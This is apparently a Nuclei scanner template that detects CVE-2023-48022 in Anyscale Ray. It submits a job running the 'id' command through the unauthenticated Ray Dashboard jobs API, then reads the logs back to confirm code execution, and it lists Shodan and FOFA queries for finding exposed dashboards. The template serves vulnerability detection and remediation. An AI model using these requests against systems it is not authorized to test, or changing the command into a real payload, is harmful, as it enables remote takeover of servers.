id: CVE-2023-48022

info:
  name: Anyscale Ray - Remote Code Execution
  author: riteshs4hu
  severity: critical
  description: |
    Anyscale Ray 2.6.3 and 2.8.0 contain a remote code execution vulnerability due to insecure job submission API, allowing attackers to execute arbitrary code remotely if they have network access to the Ray Dashboard API.
  impact: |
    Unauthenticated attackers with network access to the Ray Dashboard API can execute arbitrary code remotely as root, leading to complete system compromise.
  remediation: |
    Upgrade Anyscale Ray to version 2.6.4 or later, or version 2.8.1 or later, and restrict network access to the Ray Dashboard API.
  reference:
    - https://bishopfox.com/blog/ray-versions-2-6-3-2-8-0
    - https://vulncheck.com/xdb/497d7fb3b118
    - https://github.com/jakabakos/ShadowRay-RCE-PoC-CVE-2023-48022
    - https://vulncheck.com/xdb/d3bafad9c9f6
    - https://github.com/0x656565/CVE-2023-48022
    - https://nvd.nist.gov/vuln/detail/cve-2023-48022
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-48022
    cwe-id: CWE-78
    epss-score: 0.81512
    epss-percentile: 0.99593
  metadata:
    verified: true
    max-request: 3
    vendor: ray_project
    product: ray
    shodan-query:
      - http.favicon.hash:463802404
      - http.html:"ray dashboard"
    fofa-query:
      - icon_hash=463802404
      - body="ray dashboard"
  tags: cve,cve2023,rce,ray,anyscale,vkev,vuln

variables:
  jobid: "Job_{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /api/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "entrypoint": "id",
          "submission_id": "{{jobid}}"
        }

      - | # wait for 8 seconds before getting the logs
        GET / HTTP/1.1
        Host: {{Hostname}}

        {{wait_for(8)}}

      - |
        GET /api/jobs/{{jobid}}/logs HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "logs\":")'
          - 'contains(content_type, "application/json")'
          - 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
        condition: and
# digest: 490a0046304402202ac1304790db12cca361e5bf4aa00eed53e8006e1489d47e9a1f75951e4a05360220470e6995ac0e1315aee4d2fba7e43469b18061575a05f8818c5c488b0e888d54:922c64590222798bb761d5b6d8e72950